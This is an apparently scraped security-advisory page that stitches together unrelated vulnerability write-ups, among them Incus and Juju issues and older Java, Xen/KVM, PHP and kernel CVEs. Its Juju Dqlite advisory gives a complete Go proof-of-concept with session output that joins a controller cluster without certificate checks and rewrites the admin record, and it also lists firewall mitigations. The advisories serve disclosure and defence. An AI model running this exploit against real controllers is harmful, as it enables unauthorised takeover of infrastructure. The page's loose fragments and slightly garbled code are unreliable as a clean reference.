See how canonical compares to other vendors in security performance
MileSight DeviceHub -
CWE-305 Missing Authentication for Critical Function
An earlier fix for an Inter-process Communication (IPC) vulnerability, CVE-2011-3079, added authentication to communication between IPC endpoints and server parents during IPC process creation. This authentication is insufficient for channels created after the IPC process is started, leading to the authentication not being correctly applied to later channels. This could allow for a sandbox escape through IPC channels due to lack of message validation in the listener process.
Last updated 25 August 2025
Summary Instance template files can be used to cause arbitrary read or writes as root on the host server.
Details Incus allows for pongo2 templates within instances which can be used at various times in the instance lifecycle to template files inside of the instance. This particular implementation of pongo2 within Incus allowed for file read/write but with the expectation that the pongo2 chroot feature would isolate all such access to the instance's filesystem.
This was allowed such that a template could theoretically read a file and then generate a new version of said file.
Unfortunately the chroot isolation mechanism is entirely skipped by pongo2 leading to easy access to the entire system's filesystem with root privileges.
Credit This issue was discovered and reported by the team at 7asecurity
Impact Any Juju controller since 3.2.0.
An attacker with only route-ability to the target juju controller Dqlite cluster endpoint may join the Dqlite cluster, read and modify all information, including escalating privileges, open firewall ports etc.
This is due to not checking the client certificate, additionally, the client does not check the server's certificate (MITM attack possible), so anything goes.
https://github.com/juju/juju/blob/001318f51ac456602aef20b123684f1eeeae9a77/internal/database/node.go#L312-L324
PoC Using the tool referenced below.
Bootstrap a controller and show the users: $ juju bootstrap lxd a Creating Juju controller "a" on lxd/localhost Looking for packaged Juju agent version 4.0.4 for amd64 <...> Launching controller instance(s) on localhost/localhost... - juju-fefd2b-0 (arch=amd64) Installing Juju agent on bootstrap instance Waiting for address Attempting to connect to 10.151.236.15:22 <...> Contacting Juju controller at 10.151.236.15 to verify accessibility...
Bootstrap complete, controller "a" is now available Controller machines are in the "controller" model
Now it's possible to run juju add-model <model-name> to create a new model to deploy workloads. $ juju users Controller: a
Name Display name Access Date created Last connection admin admin superuser 1 minute ago just now juju-metrics Juju Metrics login 1 minute ago never connected everyone@external
Join the cluster with the first cluster member: $ dqlite-demo --db 192.168.1.25:9999 --join 10.151.236.15:17666 dqlite interactive shell. Enter SQL statements terminated with a semicolon. Meta-commands: .switch <database> .close .exit
Connected to database "demo". demo>
Join the cluster with another cluster member and give the admin a new name: dqlite-demo --db 192.168.1.25:9998 --join 10.151.236.15:17666 dqlite interactive shell. Enter SQL statements terminated with a semicolon. Meta-commands: .switch <database> .close .exit
Connected to database "demo". demo> .switch controller Connected to database "controller". controller> select from user; uuid | name | displayname | external | removed | createdbyuuid | createdat -------------------------------------+-------------------+--------------+----------+---------+--------------------------------------+---------------------------------------- 9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | admin | admin | false | false | 9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | 2026-03-17 06:38:25.816694339 +0000 UTC 4e1d65ae-564e-4c0e-8ef6-da8b7fb69b53 | juju-metrics | Juju Metrics | false | false | 9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | 2026-03-17 06:38:26.76549689 +0000 UTC 384c57af-57b1-40be-8e6e-7360371895d3 | everyone@external | | true | false | 9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | 2026-03-17 06:38:26.770215095 +0000 UTC (3 row(s)) controller> update user set displayname='Silly Admin' where name='admin'; OK (1 row(s) affected) controller>
The admin won't like this new name: $ juju users Controller: a
Name Display name Access Date created Last connection admin Silly Admin superuser 6 minutes ago just now juju-metrics Juju Metrics login 6 minutes ago never connected everyone@external
Patches Juju versions 3.6.20 and 4.0.5 are patched to fix this issue.
Workarounds Either: a. Configure restrictive firewall rules and use a trusted network fabric for Juju controllers in HA. Port 17666 must only be connected to by other controller IP addresses. b. Disable HA by reducing to one Juju controller, block incoming connections to port 17666 and outgoing connections to any port 17666.
Resources https://github.com/juju/juju/blob/001318f51ac456602aef20b123684f1eeeae9a77/internal/database/node.go#L312-L324
PoC Tool
Based on the go-dqlite demo app.
go package main
import ( "context" "crypto/ecdsa" "crypto/elliptic" "crypto/rand" "crypto/tls" "crypto/x509" "crypto/x509/pkix" "database/sql" "encoding/pem" "fmt" "log" "math/big" "net" "os" "os/signal" "path/filepath" "strings" "time"
"github.com/canonical/go-dqlite/v3/app" "github.com/canonical/go-dqlite/v3/client" "github.com/peterh/liner" "github.com/pkg/errors" "github.com/spf13/cobra" "golang.org/x/sys/unix" )
func generateSelfSignedCert() (tls.Certificate, error) { key, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader) if err != nil { return tls.Certificate{}, fmt.Errorf("generate key: %w", err) }
tmpl := &x509.Certificate{ SerialNumber: big.NewInt(1), Subject: pkix.Name{CommonName: "lol"}, NotBefore: time.Now(), NotAfter: time.Now().Add(365 24 time.Hour), KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature, ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, IPAddresses: []net.IP{net.ParseIP("127.0.0.1")}, DNSNames: []string{"lol"}, }
certDER, err := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &key.PublicKey, key) if err != nil { return tls.Certificate{}, fmt.Errorf("create cert: %w", err) }
keyDER, err := x509.MarshalECPrivateKey(key) if err != nil { return tls.Certificate{}, fmt.Errorf("marshal key: %w", err) }
certPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER}) keyPEM := pem.EncodeToMemory(&pem.Block{Type: "EC PRIVATE KEY", Bytes: keyDER})
return tls.X509KeyPair(certPEM, keyPEM) }
// runREPL runs an interactive SQL REPL against the given dqlite app. // It supports multi-line statements (terminated by ';') and the meta-commands // .switch <database>, .close, and .exit. func runREPL(ctx context.Context, dqliteApp app.App, initialDBName string, line liner.State) error { var currentDB sql.DB var currentDBName string
openDB := func(name string) error { if currentDB != nil { if err := currentDB.Close(); err != nil { fmt.Fprintf(os.Stderr, "Warning: closing previous database: %v\n", err) } currentDB = nil currentDBName = "" } db, err := dqliteApp.Open(ctx, name) if err != nil { return fmt.Errorf("open database %q: %w", name, err) } currentDB = db currentDBName = name fmt.Printf("Connected to database %q.\n", name) return nil }
defer func() { if currentDB != nil { currentDB.Close() } }()
fmt.Println("dqlite interactive shell.") fmt.Println("Enter SQL statements terminated with a semicolon.") fmt.Println("Meta-commands: .switch <database> .close .exit") fmt.Println()
if initialDBName != "" { if err := openDB(initialDBName); err != nil { return err } } else { fmt.Println("No database selected. Use .switch <database> to open one.") }
prompt := func(multiline bool) string { if multiline { return " ...> " } if currentDBName != "" { return currentDBName + "> " } return "(no db)> " }
var buf strings.Builder
for { input, err := line.Prompt(prompt(buf.Len() > 0)) if err != nil { if err == liner.ErrPromptAborted { if buf.Len() > 0 { buf.Reset() fmt.Println("(statement aborted)") } continue } // EOF (Ctrl-D) or liner closed externally — exit cleanly. fmt.Println() break }
if input != "" { line.AppendHistory(input) }
trimmed := strings.TrimSpace(input) if trimmed == "" { continue }
// Meta-commands are only recognised at the start of a fresh statement. if buf.Len() == 0 && strings.HasPrefix(trimmed, ".") { parts := strings.Fields(trimmed) switch parts[0] { case ".exit": return nil
case ".close": if currentDB != nil { if err := currentDB.Close(); err != nil { fmt.Fprintf(os.Stderr, "Error closing database: %v\n", err) } else { fmt.Printf("Database %q closed.\n", currentDBName) } currentDB = nil currentDBName = "" } else { fmt.Println("No database is currently open.") }
case ".switch": if len(parts) < 2 { fmt.Fprintln(os.Stderr, "Usage: .switch <database>") } else { if err := openDB(parts[1]); err != nil { fmt.Fprintf(os.Stderr, "Error: %v\n", err) } }
default: fmt.Fprintf(os.Stderr, "Unknown meta-command: %s\n", parts[0]) fmt.Fprintln(os.Stderr, "Available meta-commands: .switch <database> .close .exit") } continue }
// Accumulate SQL across lines. if buf.Len() > 0 { buf.WriteByte('\n') } buf.WriteString(input)
// Execute once the statement is terminated with a semicolon. stmt := strings.TrimSpace(buf.String()) if strings.HasSuffix(stmt, ";") { buf.Reset() if currentDB == nil { fmt.Fprintln(os.Stderr, "Error: no database open. Use .switch <database> to open one.") continue } if err := execSQL(currentDB, stmt); err != nil { fmt.Fprintf(os.Stderr, "Error: %v\n", err) } } }
return nil }
// execSQL dispatches to execQuery or execStatement based on the leading keyword. func execSQL(db sql.DB, stmt string) error { // Trim the trailing semicolon just for the prefix check. upper := strings.ToUpper(strings.TrimSpace(strings.TrimSuffix(strings.TrimSpace(stmt), ";"))) switch { case strings.HasPrefix(upper, "SELECT"), strings.HasPrefix(upper, "WITH"), strings.HasPrefix(upper, "PRAGMA"), strings.HasPrefix(upper, "EXPLAIN"): return execQuery(db, stmt) default: return execStatement(db, stmt) } }
// execQuery runs a statement expected to return rows and prints them as a table. func execQuery(db sql.DB, stmt string) error { rows, err := db.Query(stmt) if err != nil { return err } defer rows.Close()
cols, err := rows.Columns() if err != nil { return err } if len(cols) == 0 { fmt.Println("OK") return nil }
// Initialise column widths from the header names. widths := make([]int, len(cols)) for i, c := range cols { widths[i] = len(c) }
// Scan all rows into memory so we can compute column widths before printing. vals := make([]interface{}, len(cols)) valPtrs := make([]interface{}, len(cols)) for i := range vals { valPtrs[i] = &vals[i] }
var allRows [][]string for rows.Next() { if err := rows.Scan(valPtrs...); err != nil { return err } row := make([]string, len(cols)) for i, v := range vals { if v == nil { row[i] = "NULL" } else { row[i] = fmt.Sprintf("%v", v) } if len(row[i]) > widths[i] { widths[i] = len(row[i]) } } allRows = append(allRows, row) } if err := rows.Err(); err != nil { return err }
printRow(cols, widths) printSeparator(widths) for , row := range allRows { printRow(row, widths) } fmt.Printf("(%d row(s))\n", len(allRows)) return nil }
// execStatement runs a non-SELECT statement and prints the rows-affected count. func execStatement(db sql.DB, stmt string) error { result, err := db.Exec(stmt) if err != nil { return err } affected, err := result.RowsAffected() if err != nil { fmt.Println("OK") return nil } fmt.Printf("OK (%d row(s) affected)\n", affected) return nil }
func printRow(vals []string, widths []int) { parts := make([]string, len(vals)) for i, v := range vals { parts[i] = fmt.Sprintf("%-s", widths[i], v) } fmt.Println(strings.Join(parts, " | ")) }
func printSeparator(widths []int) { parts := make([]string, len(widths)) for i, w := range widths { parts[i] = strings.Repeat("-", w) } fmt.Println(strings.Join(parts, "-+-")) }
func main() { var db string var join []string var dir string var verbose bool var dbName string
cmd := &cobra.Command{ Use: "dqlite-demo", Short: "Interactive dqlite SQL REPL", Long: An interactive SQL REPL backed by a dqlite cluster node.
Type SQL statements terminated with a semicolon (;) to execute them. Statements can span multiple lines.
Meta-commands: .switch <database> Open (or switch to) a named database .close Close the current database connection .exit Exit the REPL
Complete documentation is available at https://github.com/canonical/go-dqlite, RunE: func(cmd cobra.Command, args []string) error { nodeDir := filepath.Join(dir, db) if err := os.MkdirAll(nodeDir, 0755); err != nil { return errors.Wrapf(err, "can't create %s", nodeDir) }
logFunc := func(l client.LogLevel, format string, a ...interface{}) { if !verbose { return } log.Printf(fmt.Sprintf("%s: %s: %s\n", db, l.String(), format), a...) }
cart, err := generateSelfSignedCert() if err != nil { return err } options := []app.Option{ app.WithAddress(db), app.WithCluster(join), app.WithLogFunc(logFunc), app.WithTLS(&tls.Config{ InsecureSkipVerify: true, ClientCAs: x509.NewCertPool(), Certificates: []tls.Certificate{cart}, }, &tls.Config{ InsecureSkipVerify: true, }), }
dqliteApp, err := app.New(nodeDir, options...) if err != nil { return err } defer func() { dqliteApp.Handover(context.Background()) dqliteApp.Close() }()
if err := dqliteApp.Ready(context.Background()); err != nil { return err }
line := liner.NewLiner() line.SetCtrlCAborts(true) defer line.Close()
// Forward termination signals by closing the liner, which causes // Prompt() to return and the REPL loop to exit cleanly. sigCh := make(chan os.Signal, 32) signal.Notify(sigCh, unix.SIGPWR, unix.SIGQUIT, unix.SIGTERM) go func() { <-sigCh line.Close() }()
return runREPL(context.Background(), dqliteApp, dbName, line) }, }
flags := cmd.Flags() flags.StringVarP(&db, "db", "d", "", "address used for internal database replication") join = flags.StringSliceP("join", "j", nil, "database addresses of existing nodes") flags.StringVarP(&dir, "dir", "D", "/tmp/dqlite-demo", "data directory") flags.BoolVarP(&verbose, "verbose", "v", false, "verbose logging") flags.StringVarP(&dbName, "name", "n", "controller", "initial database name to open on startup")
cmd.MarkFlagRequired("db")
if err := cmd.Execute(); err != nil { os.Exit(1) } } Mitigation
The strongest protection is to apply the security updates. The following mitigations have also been explored. If security updates cannot be applied, you should only apply the following steps as a last resort and restore the original configuration file once updates are applied. Please note that modifying configuration files may stop future unattended upgrades from completing successfully, until these are reverted to the original content.
Option 1: Disable the HA (High Availability) controller. If your environment does not strictly require HA, reducing the cluster to a single controller removes the need for DQlite replication. Moreover, the port that replicates the vulnerability should be blocked, namely 17666. Option 2: Restrict what IPs can communicate with port 17666, by implementing firewall rules to block all ingress traffic to this port. Only Juju controller IPs should be able to connect to this port.
To restrict access to the DQlite port to just the set of controller IPs, here's an example using ufw for a machine controller. This needs to be run on each controller. If the controller nodes change configuration, the rules will need to be updated accordingly. You will need to enable access to the controller API port 17070 in accordance with your requirements for allowing clients to connect to the Juju controllers.
Retrict access to the Dqlite port. sudo ufw allow from <controllerip1> to any port 17666 proto tcp sudo ufw allow from <controllerip2> to any port 17666 proto tcp sudo ufw allow from <controllerip3> to any port 17666 proto tcp sudo ufw deny 17666/tcp Similarly, the mongo db port needs to allow controller access. sudo ufw allow from <controllerip1> to any port 37017 proto tcp sudo ufw allow from <controllerip2> to any port 37017 proto tcp sudo ufw allow from <controllerip3> to any port 37017 proto tcp sudo ufw deny 37017/tcp Allow access to the controller API port. sudo ufw allow from <your cidr goes here> to any port 17070 proto tcp Allow access to the controller SSH port. sudo ufw allow from <your cidr goes here> to any port 22 proto tcp Ensure the firewall is enabled. sudo ufw enable Check that the rules have been added correctly. sudo ufw status
For Kubernetes controllers, HA is not supported. We recommend blocking access to port 17666. One way is to apply a network policy:
apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: controller-0-17666-only-itself namespace: <your controller namespace goes here> spec: podSelector: matchLabels: app: controller statefulset.kubernetes.io/pod-name: controller-0 policyTypes: - Ingress ingress: - from: - podSelector: matchLabels: app: controller statefulset.kubernetes.io/pod-name: controller-0 ports: - protocol: TCP port: 17666
Impact
If a user has login permission to a controller and knows the controller model UUID, they can call the CloudSpec method on the Controller facade and get cloud credentials used to bootstrap the controller.
The CloudSpec API is called by workers running in the controller to maintain connection to the cloud - this aspect is not the issue. The API is also called by the CLI when killing (force destroying a controller with juju kill-controller). This is the problematic aspect. The API is exposed to any client caller where that client has nothing more than logon permission on the controller. What should happen is that getting access to the credential should be limited to those client connections where the authenticated user has superuser or model admin permission.
This affect 2.9, 3.6, 4.0.6 (snap from 4.0/edge channel).
The fix will allow non-confidential, public information like cloud endpoint etc to be read, but only controller superusers or model admins will be able to see the credential details.
Patches
No patch exists.
Workarounds
The only mitigation is to restrict ingress to the controller API port 17070 on all controller machines (for vm deployments) or the controller service (for k8s deployments). The Juju CLI and other clients like libjuju or JAAS require ingress to port 17070 so any restricted access will need to take into account those access requirements.
Last updated 24 July 2024
Last updated 24 July 2024
Buffer overflow in the nsXMLHttpRequest::AppendToResponseText function ...
Last updated 24 July 2024
Last updated 24 July 2024
Last updated 25 August 2025
Last updated 24 July 2024
Last updated 24 July 2024
Redis is prone to a (Debian-specific) Lua sandbox escape, which could result in remote code execution.
It was discovered that the JPEG decoder in the AWT component of OpenJDK did not use correct buffer boundary in certain cases when decoding JPEG files. A specially crafted JPEG file could cause a Java application to corrupt its memory and possibly execute arbitrary code when opened. An untrusted Java application or applet could also use this flaw to bypass Java sandbox restrictions.
Integer signedness issues were discovered in IndicRearrangementProcessor and IndicRearrangementProcessor2 in the ICU Layout Engine. A specially crafted font file could cause an application using ICU to parse untrusted fonts to crash and, possibly, execute arbitrary code.
ICU code is embedded the 2D component in OpenJDK and used by FontManager. An untrusted Java application or applet could use this flaw to execute arbitrary code with Java Virtual Machine privileges and bypass Java sandbox restrictions.
An elevation of privilege vulnerability exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller, using the Netlogon Remote Protocol (MS-NRPC), aka 'Netlogon Elevation of Privilege Vulnerability'.
It was found that a malicious HVM guest administrator can cause DoS, specifically prevent use of physical CPU for significant, perhaps indefinite period. When a benign exception occurs while delivering another benign exception, it is architecturally specified that these would be delivered sequentially. There are, however, cases where this results in an infinite loop inside the CPU, which (in the virtualized case) can be broken only by intercepting delivery of the respective exception.
When a guest sets up a hardware breakpoint covering a data structure involved in delivering #DB (Debug Exception), upon completion of the delivery of the first exception another #DB will need to be delivered. The effects slightly differ depending on further guest characteristics:
Guests running in 32-bit mode would be expected to sooner or later encounter another fault due to the stack pointer decreasing during each iteration of the loop. The most likely case would be #PF (Page Fault) due to running into unmapped virtual space. However, an infinite loop cannot be excluded (e.g. when the guest is running with paging disabled).
Guests running in long mode, but not using the IST (Interrupt Stack Table) feature for the IDT entry corresponding to #DB would behave similarly to guests running in 32-bit mode, just that the larger virtual address space allows for a much longer loop. The loop can't, however, be infinite, as eventually the stack pointer would move into non-canonical address space, causing #SS (Stack Fault) instead.
Guests running in long mode and using the IST for the IDT entry corresponding to #DB would enter an infinite loop, as the stack pointer wouldn't change between #DB instances.
If a host watchdog (Xen or dom0) is in use, this can lead to a watchdog timeout and consequently a reboot of the host. If another, innocent, guest, is configured with a watchdog, this issue can lead to a reboot of such a guest.
A privileged user inside guest could use this flaw to crash the host kernel resulting in DoS.
For KVM virtualisation, it only affects the AMD processor support, as for Intel it already intercepts the #DB exception.
Upstream KVM patch: ------------------- -> http://permalink.gmane.org/gmane.linux.kernel/2082332
References: ----------- -> http://www.openwall.com/lists/oss-security/2015/11/10/1
A flaw was found in the CXGB3 kernel driver when the network was considered congested. The kernel would incorrectly misinterpret the congestion as an error condition and incorrectly free/clean up the skb. When the device would then send the skb's queued, these structures would be referenced and may panic the system or allow an attacker to escalate privileges in a use-after-free scenario.
From the patch:
----
The cxgb3send() functions return NETXMIT values, which are positive integers values. So don't treat positive return values as an error. ----
Upstream commit: https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=67f1aee6f45059fd6b0f5b0ecb2c97ad0451f6b3
CVE assignment: http://seclists.org/oss-sec/2016/q1/311
It was discovered that the System.arraycopy() method has a race condition between verifying source elements and storing them. An untrusted Java application or applet could possibly use this flaw to trigger a Java Virtual Machine memory corruption.
It was discovered that the JPEG decoder did not properly handle certain input streams. An untrusted Java application or applet could possibly use this flaw to trigger a Java Virtual Machine memory corruption.
It was discovered that certain medialib operations do not properly validate that mlib and raster images correspond to each other. A remote attacker could possibly use this flaw to trigger a Java Virtual Machine memory corruption.
It was discovered that the ServiceLoader did not perform exception handling in a secure manner. An untrusted Java application or applet could possibly use this flaw to bypass security mechanisms and perform operations with full permissions.
It was discovered that ObjectInputStream and ObjectOutputStream serialization handling did not properly perform certain checks. An untrusted Java application or applet could possibly use this flaw to bypass Java sandbox restrictions.
It was discovered that the checkPackageAccess function of the class loader did not properly check the package access for non-public proxy classes. A remote attacker could possibly use this flaw to execute arbitrary code with the privileges of the user running the virtual machine.
It was discovered that the Java2d Disposer did not properly dispose of resources if an exception occured during the process. An untrusted Java application or applet could possibly use this flaw to bypass Java sandbox restrictions.
sslenginekernel.c in modssl before 2.8.24, when using "SSLVerifyClient optional" in the global virtual host configuration, does not properly enforce "SSLVerifyClient require" in a per-location context, which allows remote attackers to bypass intended access restrictions.
The safe mode checks in PHP 4.x to 4.3.9 and PHP 5.x to 5.0.2 truncate the file path before passing the data to the realpath function, which could allow attackers to bypass safe mode. NOTE: this issue was originally REJECTed by its CNA before publication, but that decision is in active dispute. This candidate may change significantly in the future as a result of further discussion.
Multiple integer handling errors in PHP before 4.3.10 allow attackers to bypass safe mode restrictions, cause a denial of service, or execute arbitrary code via (1) a negative offset value to the shmopwrite function, (2) an "integer overflow/underflow" in the pack function, or (3) an "integer overflow/underflow" in the unpack function. NOTE: this issue was originally REJECTed by its CNA before publication, but that decision is in active dispute. This candidate may change significantly in the future as a result of further discussion.